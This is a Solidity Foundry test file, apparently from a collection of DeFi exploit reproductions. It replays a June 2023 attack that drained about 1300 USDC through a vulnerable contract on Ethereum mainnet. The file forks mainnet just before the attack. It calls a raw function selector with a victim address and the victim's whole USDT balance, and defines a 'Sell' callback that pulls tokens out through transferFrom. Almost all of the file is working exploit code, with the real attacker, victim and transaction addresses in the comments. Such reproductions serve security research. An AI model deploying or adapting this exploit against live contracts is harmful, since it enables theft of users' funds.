src/test/2023-06/Contract_0x7657_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~1300 $USDC
5// Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f
6// Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221
7// Vulnerable Contract : https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77
8// Attack Tx : https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13interface IDPPAdvanced {
14    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
15}
16 
17interface IUSDTinterface {
18    function transferFrom(address from, address to, uint256 amount) external returns (bool);
19    function approve(address _spender, uint256 _value) external;
20    function balanceOf(
21        address owner
22    ) external view returns (uint256);
23    function transfer(address _to, uint256 _value) external;
24}
25 
26contract ContractTest is Test {
27    IUSDTinterface USDT = IUSDTinterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
28    address Contract_addr = 0x76577603F99EAe8320F70B410a350a83D744CB77;
29    address Victim = 0x637b935CbA030Aeb876eae07Aa7FF637166de4D6;
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", 17_511_178 - 1);
33        vm.label(address(USDT), "USDT");
34        vm.label(address(Contract_addr), "Contract_addr");
35        vm.label(address(Victim), "Victim");
36    }
37 
38    function testExploit() public {
39        emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
40        uint256 Victim_balance = USDT.balanceOf(address(Victim));
41        (bool success, bytes memory data) =
42            Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));
43        emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
44    }
45 
46    function Sell(uint256 _snipeID, uint256 _sellPercentage) external payable returns (bool) {
47        address(USDT).call(abi.encodeWithSelector(bytes4(0x23b872dd), Contract_addr, address(this), _snipeID));
48        return false;
49    }
50 
51    fallback() external payable {}
52    receive() external payable {}
53}